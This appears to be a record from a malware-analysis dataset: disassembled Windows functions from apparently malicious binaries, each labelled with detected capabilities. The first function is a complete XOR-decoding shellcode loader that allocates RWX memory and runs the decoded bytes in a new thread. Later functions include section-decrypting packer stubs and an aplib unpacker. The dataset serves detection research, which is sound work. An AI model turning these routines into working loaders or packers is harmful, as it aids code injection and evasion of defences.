joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40102a
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute command
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x334
mov ecx, 0xc7
xor eax, eax
push esi
push edi
mov esi, 0x402190
lea edi, [ebp - 0x334]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
xor byte [ebp + eax - 0x334], 0x6a
inc eax
cmp eax, 0x31f
jl 0x40104c
push ebx
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
push str.VirtualAlloc
push edi
call esi
push str.WriteProcessMemory
push edi
mov ebx, eax
call esi
push str.CreateThread
push edi
mov dword [ebp - 8], eax
call esi
push 0x40
push 0x3000
push 0x31f
push 0
mov dword [ebp - 0x14], eax
call ebx
lea ecx, [ebp - 0x334]
mov dword [ebp - 0x10], eax
xor ebx, ebx
xor edi, edi
sub ecx, eax
mov esi, eax
mov dword [ebp - 0xc], ecx
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push eax
push 1
lea eax, [ecx + esi]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [ebp - 8]
test eax, eax
je 0x4010e5
cmp dword [ebp - 4], 1
jne 0x4010e5
mov ecx, dword [ebp - 0xc]
inc ebx
inc edi
inc esi
cmp edi, 0x31f
jb 0x4010b4
push 0x40215c
push str.encrypted_data.txt
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
push ebx
mov edi, eax
push 0x402174
push edi
call fcn.00401006
add esp, 0x14
xor ebx, ebx
mov esi, ebx
movzx eax, byte [ebp + esi - 0x334]
push eax
push str.0x_02X
push edi
call fcn.00401006
add esp, 0xc
cmp esi, 0x31e
jae 0x401136
push 0x402180
push edi
call fcn.00401006
pop ecx
pop ecx
inc esi
cmp esi, 0x31f
jl 0x40110a
push edi
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
pop ecx
push ebx
push ebx
push ebx
push dword [ebp - 0x10]
push ebx
push ebx
call dword [ebp - 0x14]
mov esi, eax
pop ebx
test esi, esi
jne 0x401165
push str.calc
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
pop ecx
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
xor eax, eax
pop esi
leave
ret

Function at 0x401843
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x401882
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x401882
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x401882
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x401882
cmp dword [ecx + 0x74], 0xe
jbe 0x401882
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x401000
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
lea ebp, [esp - 0x194]
sub esp, 0x214
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x190], eax
push esi
mov esi, dword [ebp + 0x19c]
lea eax, [ebp - 0x7c]
push eax
push str.softwareordatgloballogoptions_
push 0x80000002
mov dword [ebp - 0x80], 0x208
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
test eax, eax
je 0x401045
xor eax, eax
jmp 0x4010a7
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x78]
push eax
push 0
push 0
push 0x408168
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x401041
push dword [ebp - 0x7c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x78]
push eax
push dword [ebp + 0x1a0]
push esi
call fcn.004012d3
lea eax, [ebp - 0x78]
push eax
call fcn.004012bd
add esp, 0x10
cmp word [ebp + eax*2 - 0x7a], 0x5c
je 0x4010a4
push 0x408164
push dword [ebp + 0x1a0]
push esi
call fcn.00401243
add esp, 0xc
xor eax, eax
inc eax
mov ecx, dword [ebp + 0x190]
xor ecx, ebp
pop esi
call fcn.0040133f
add ebp, 0x194
leave
ret 8

Function at 0x4010bf
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x20c]
push eax
push 0x208
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x401110
lea eax, [ebp - 0x20c]
push eax
push dword [ebp + 0xc]
push esi
call fcn.004012d3
push str.ORDATLOG_
push dword [ebp + 0xc]
push esi
call fcn.00401243
xor eax, eax
add esp, 0x18
inc eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.0040133f
leave
ret 8

Function at 0x40118a
Capabilities:
Create process on windows

Disassembly:
push ebp
lea ebp, [esp - 0x1c8]
sub esp, 0x248
mov eax, dword [section..data]
xor eax, ebp
mov dword [ebp + 0x1c4], eax
push esi
xor esi, esi
push 0x206
lea eax, [ebp - 0x42]
push esi
push eax
mov word [ebp - 0x44], si
call fcn.00401350
push 0x38
lea eax, [ebp - 0x7c]
push esi
push eax
mov dword [ebp - 0x80], esi
call fcn.00401350
add esp, 0x18
push 0x104
lea eax, [ebp - 0x44]
push eax
call fcn.0040111f
lea eax, [ebp - 0x44]
push eax
call fcn.004012bd
test eax, eax
pop ecx
jne 0x4011fe
push 0x30
push 0x408150
push str.Unable_to_retrieve_the_Log_Directory
push esi
call dword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x401229
lea eax, [ebp - 0x44]
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x68], eax
lea eax, [ebp - 0x80]
push eax
mov dword [ebp - 0x80], 0x3c
mov dword [ebp - 0x78], esi
mov dword [ebp - 0x74], str.open
mov dword [ebp - 0x64], 5
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov ecx, dword [ebp + 0x1c4]
xor ecx, ebp
xor eax, eax
pop esi
call fcn.0040133f
add ebp, 0x1c8
leave
ret 0x10

Function at 0x40133f
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [section..data]
jne 0x401349
repz ret
jmp fcn.00401791
Function at 0x401cf6
Capabilities:
Write file on windows

Disassembly:
push ecx
push ebx
mov ebx, dword [esp + 0xc]
push esi
push edi
xor esi, esi
xor edi, edi
cmp ebx, dword [edi*8 + 0x40a190]
je 0x401d11
inc edi
cmp edi, 0x17
jb 0x401d02
cmp edi, 0x17
jae 0x401e91
push ebp
push 3
call fcn.00403cd0
cmp eax, 1
pop ecx
je 0x401e5d
push 3
call fcn.00403cd0
test eax, eax
pop ecx
jne 0x401d45
cmp dword [0x40a010], 1
je 0x401e5d
cmp ebx, 0xfc
je 0x401e90
push str.Runtime_Error__n_nProgram:
mov ebx, 0x314
push ebx
mov ebp, 0x40b040
push ebp
call fcn.00403c6b
add esp, 0xc
test eax, eax
je 0x401d7b
push esi
push esi
push esi
push esi
push esi
call fcn.00401623
add esp, 0x14
push 0x104
mov esi, 0x40b059
push esi
push 0
mov byte [0x40b15d], 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
jne 0x401dbf
push str._program_name_unknown_
push 0x2fb
push esi
call fcn.00403c6b
add esp, 0xc
test eax, eax
je 0x401dbf
xor eax, eax
push eax
push eax
push eax
push eax
push eax
call fcn.00401623
add esp, 0x14
push esi
call fcn.00403be0
inc eax
cmp eax, 0x3c
pop ecx
jbe 0x401e04
push esi
call fcn.00403be0
sub esi, 0x3b
add eax, esi
push 3
mov ecx, 0x40b354
push 0x4087e4
sub ecx, eax
push ecx
push eax
call fcn.00403b22
add esp, 0x14
test eax, eax
je 0x401e04
xor esi, esi
push esi
push esi
push esi
push esi
push esi
call fcn.00401623
add esp, 0x14
jmp 0x401e06
xor esi, esi
push 0x4087e0
push ebx
push ebp
call fcn.00403ab1
add esp, 0xc
test eax, eax
je 0x401e26
push esi
push esi
push esi
push esi
push esi
call fcn.00401623
add esp, 0x14
push dword [edi*8 + 0x40a194]
push ebx
push ebp
call fcn.00403ab1
add esp, 0xc
test eax, eax
je 0x401e48
push esi
push esi
push esi
push esi
push esi
call fcn.00401623
add esp, 0x14
push 0x12010
push str.Microsoft_Visual_C_Runtime_Library
push ebp
call fcn.004038f4
add esp, 0xc
jmp 0x401e90
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov ebp, eax
cmp ebp, esi
je 0x401e90
cmp ebp, 0xffffffff
je 0x401e90
push 0
lea eax, [esp + 0x14]
push eax
lea esi, [edi*8 + 0x40a194]
push dword [esi]
call fcn.00403be0
pop ecx
push eax
push dword [esi]
push ebp
call dword [sym.imp.KERNEL32.dll_WriteFile]
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret
Function at 0x4038f4
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
call fcn.0040284e
xor ebx, ebx
cmp dword [0x40b5fc], ebx
mov dword [ebp - 8], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], ebx
mov dword [ebp - 0x10], ebx
jne 0x4039ca
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
cmp edi, ebx
je 0x403aaa
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
cmp eax, ebx
je 0x403aaa
push eax
call fcn.004027e0
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x40b5fc], eax
call esi
push eax
call fcn.004027e0
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x40b600], eax
call esi
push eax
call fcn.004027e0
mov dword [0x40b604], eax
lea eax, [ebp - 0xc]
push eax
call fcn.00401a83
test eax, eax
pop ecx
pop ecx
je 0x403998
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00401623
add esp, 0x14
cmp dword [ebp - 0xc], 2
jne 0x4039ca
push str.GetUserObjectInformationA
push edi
call esi
push eax
call fcn.004027e0
cmp eax, ebx
pop ecx
mov dword [0x40b60c], eax
je 0x4039ca
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.004027e0
pop ecx
mov dword [0x40b608], eax
mov eax, dword [0x40b608]
mov ecx, dword [ebp - 8]
cmp eax, ecx
je 0x403a4f
cmp dword [0x40b60c], ecx
je 0x403a4f
push eax
call fcn.00402857
push dword [0x40b60c]
mov esi, eax
call fcn.00402857
cmp esi, ebx
pop ecx
pop ecx
mov edi, eax
je 0x403a4f
cmp edi, ebx
je 0x403a4f
call esi
cmp eax, ebx
je 0x403a1c
lea ecx, [ebp - 0x14]
push ecx
push 0xc
lea ecx, [ebp - 0x20]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x403a1c
test byte [ebp - 0x18], 1
jne 0x403a4f
lea eax, [ebp - 0x10]
push eax
call fcn.00401aba
test eax, eax
pop ecx
je 0x403a37
push ebx
push ebx
push ebx
push ebx
push ebx
call fcn.00401623
add esp, 0x14
cmp dword [ebp - 0x10], 4
jb 0x403a46
or dword [ebp + 0x10], 0x200000
jmp 0x403a8a
or dword [ebp + 0x10], 0x40000
jmp 0x403a8a
mov eax, dword [0x40b600]
cmp eax, dword [ebp - 8]
je 0x403a8a
push eax
call fcn.00402857
cmp eax, ebx
pop ecx
je 0x403a8a
call eax
cmp eax, ebx
mov dword [ebp - 4], eax
je 0x403a8a
mov eax, dword [0x40b604]
cmp eax, dword [ebp - 8]
je 0x403a8a
push eax
call fcn.00402857
cmp eax, ebx
pop ecx
je 0x403a8a
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x40b5fc]
call fcn.00402857
cmp eax, ebx
pop ecx
je 0x403aaa
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x403aac
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x42e006
Capabilities:
Encode data using xor

Disassembly:
mov eax, section..text
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
nop
nop
nop
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
sub ecx, eax
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
nop
nop
nop
mov eax, ecx
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
pop eax
nop
nop
nop
nop
nop
mov esi, 0xd793a40
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
loop 0x42e060
nop
nop
mov eax, section..data
nop
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
nop
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
div edi
nop
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
pop eax
nop
mov esi, 0x4e9e7295
nop
nop
xor dword [eax], esi
nop
nop
nop
nop
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
jmp 0x401219
Function at 0xfe4160
Capabilities:
Decompress data using aplib

Disassembly:
call 0xfe42b0
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, pe_nt_image_headers32
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0xfe4186
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfe4172
add dl, dl
jne 0xfe4191
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfe41e4
xor eax, eax
add dl, dl
jne 0xfe419e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0xfe4285
add dl, dl
jne 0xfe41ad
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe41b8
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe41c3
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe41ce
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0xfe41da
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0xfe417d
mov eax, 1
add dl, dl
jne 0xfe41f2
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0xfe41fd
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfe41e9
sub eax, ebx
mov ebx, 1
jne 0xfe4230
mov ecx, 1
add dl, dl
jne 0xfe4216
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfe4221
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfe420d
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfe417d
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0xfe4247
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0xfe4252
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0xfe423e
cmp eax, 0x7d00
jae 0xfe4275
cmp eax, 0x500
jb 0xfe4270
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfe417d
cmp eax, 0x7f
ja 0xfe4278
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0xfe417d
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0xfe42a6
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0xfe417d
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x1001b0ad
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
movzx eax, byte [ebp + 0xc]
test eax, eax
je 0x1001b0dd
mov eax, dword [ebp + 0x10]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
movzx eax, byte [eax]
test eax, eax
je 0x1001b0db
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x1001b128
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x1001b10b
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x1001b128
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x18]
call fcn.1001026e
mov dword [eax], 0x74f207e8
jmp 0x1001b100
mov esp, ebp
pop ebp
ret
Function at 0x100366e7
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
movzx eax, byte [ebp + 8]
test eax, eax
je 0x1003677b
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
jmp 0x10036742
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xc]
mov edx, dword [edx]
sub edx, dword [ecx]
mov eax, dword [eax + 4]
sub eax, edx
mov ecx, dword [ebp - 4]
cmp dword [ecx], eax
jae 0x10036779
mov eax, dword [ebp - 0x24]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add eax, dword [ecx]
mov ecx, dword [ebp - 4]
add eax, dword [ecx]
mov ecx, dword [ebp - 0x28]
mov ecx, dword [ecx]
mov byte [ecx + eax], 0
jmp 0x10036737
jmp 0x10036785
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov esp, ebp
pop ebp
ret
Function at 0x10040110
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
movzx eax, byte [ebp + 0x10]
test eax, eax
je 0x1004012a
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
jmp 0x10040172
mov eax, dword [ebp + 8]
mov dword [ebp - 8], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov dword [eax], 0
jmp 0x10040158
mov eax, dword [ebp - 4]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 4]
mov dword [ecx], eax
mov eax, dword [ebp - 4]
cmp dword [eax], 2
jge 0x10040172
mov eax, dword [ebp - 4]
push dword [eax]
mov ecx, dword [ebp - 0x10]
call fcn.1001026e
and dword [eax], 0
jmp 0x1004014d
mov esp, ebp
pop ebp
ret
Function at 0x10046a98
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
and dword [ebp - 4], 0
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x10]
movzx eax, word [eax]
cmp eax, 0x5a4d
je 0x10046abc
xor eax, eax
jmp 0x10046c0d
lea eax, [ebp + 8]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 8]
push eax
push 0x5270
push 1
call fcn.10046898
add esp, 0x14
mov eax, dword [ebp - 8]
cmp dword [eax], 0x4550
je 0x10046ae9
xor eax, eax
jmp 0x10046c0d
push 0x17ad
push 0x3ac6
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 8]
push 1
call fcn.1004598a
add esp, 0x14
cmp dword [ebp - 0xc], 0
jne 0x10046b11
xor eax, eax
jmp 0x10046c0d
push 0x6f32
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x10]
push eax
push 0x232e
push 0x21ec
push 1
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
call fcn.10046915
add esp, 0x24
push 0x147c
lea eax, [ebp - 8]
push eax
push 1
lea eax, [ebp - 4]
push eax
push 0x28fe
lea eax, [ebp + 8]
push eax
call fcn.100469f2
add esp, 0x18
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
sub ecx, dword [eax + 0x34]
mov dword [ebp - 0x14], ecx
je 0x10046b8b
push dword [ebp - 4]
push 0x5bc0
push 0
push 0x1002
push dword [ebp - 0x14]
push 0x123c
call fcn.10045ad7
add esp, 0x18
push dword [ebp - 4]
call fcn.10045863
pop ecx
test eax, eax
jne 0x10046b9c
xor eax, eax
jmp 0x10046c0d
push 0x5897
push 0x334c
push dword [ebp - 4]
push 1
call fcn.1003f32f
add esp, 0x10
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [eax + 0x28], 0
je 0x10046bf5
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc]
add ecx, dword [eax + 0x28]
mov dword [ebp - 0x18], ecx
jne 0x10046bd2
xor eax, eax
jmp 0x10046c0d
push 0
push 1
push 0xdeadbeef
call dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x10046beb
xor eax, eax
jmp 0x10046c0d
mov eax, dword [ebp - 4]
mov dword [eax + 0x10], 1
mov eax, dword [ebp - 4]
cmp dword [eax + 0x10], 0
je 0x10046c06
mov eax, dword [ebp - 4]
mov dword [ebp - 0x1c], eax
jmp 0x10046c0a
and dword [ebp - 0x1c], 0
mov eax, dword [ebp - 0x1c]
mov esp, ebp
pop ebp
ret
Function at 0x1004b376
Capabilities:
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
movzx eax, byte [ebp + 0x14]
test eax, eax
je 0x1004b523
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp + 0x18]
mov dword [ebp - 0x3c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x40], eax
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 8], eax
mov eax, dword [ebp - 0x40]
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x44]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x1004b3c9
mov dword [ebp - 0x28], 1
jmp 0x1004b3cd
and dword [ebp - 0x28], 0
mov eax, dword [ebp - 4]
cmp dword [eax], 7
je 0x1004b3e3
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x1004b3e3
and dword [ebp - 0xc], 0
jmp 0x1004b3ea
mov dword [ebp - 0xc], 1
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, dword [ebp - 0xc]
jge 0x1004b402
mov eax, dword [ebp - 8]
cmp dword [eax], 0
jne 0x1004b402
and dword [ebp - 0x10], 0
jmp 0x1004b409
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x10], eax
je 0x1004b41c
mov dword [ebp - 0x14], 1
jmp 0x1004b420
and dword [ebp - 0x14], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
imul eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 8]
cmp eax, dword [ecx]
jge 0x1004b439
mov dword [ebp - 0x18], 1
jmp 0x1004b43d
and dword [ebp - 0x18], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp dword [ebp - 0x18], eax
jne 0x1004b450
mov dword [ebp - 0x48], 1
jmp 0x1004b454
and dword [ebp - 0x48], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
mov ecx, dword [ecx]
cmp dword [eax], ecx
je 0x1004b471
mov dword [ebp - 0x1c], 1
jmp 0x1004b475
and dword [ebp - 0x1c], 0
cmp dword [ebp - 0x1c], 0xdda8
je 0x1004b487
mov dword [ebp - 0x20], 1
jmp 0x1004b48b
and dword [ebp - 0x20], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x20]
mov dword [eax], ecx
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x5c], eax
mov eax, 0xae3d4752
cmp eax, 0xb2c4eb0a
jbe 0x1004b4b0
mov dword [ebp - 0x24], 1
jmp 0x1004b4b4
and dword [ebp - 0x24], 0
mov eax, dword [ebp - 0x24]
sub eax, 0x720f
mov ecx, dword [ebp - 4]
cmp eax, dword [ecx]
jle 0x1004b4cc
mov dword [ebp - 0x2c], 1
jmp 0x1004b4d0
and dword [ebp - 0x2c], 0
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x2c]
jl 0x1004b4e1
mov dword [ebp - 0x50], 1
jmp 0x1004b4e5
and dword [ebp - 0x50], 0
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov dword [ebp - 0x60], eax
mov eax, dword [ebp - 8]
cmp dword [eax], 1
je 0x1004b4fe
mov dword [ebp - 0x30], 1
jmp 0x1004b502
and dword [ebp - 0x30], 0
mov eax, dword [ebp - 8]
mov eax, dword [eax]
cmp eax, dword [ebp - 0x30]
jl 0x1004b515
mov dword [ebp - 0x34], 1
jmp 0x1004b519
and dword [ebp - 0x34], 0
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x34]
mov dword [eax], ecx
jmp 0x1004b52e
push 0x1e40
call dword [sym.imp.USER32.dll_GetKeyboardLayout]
mov esp, ebp
pop ebp
ret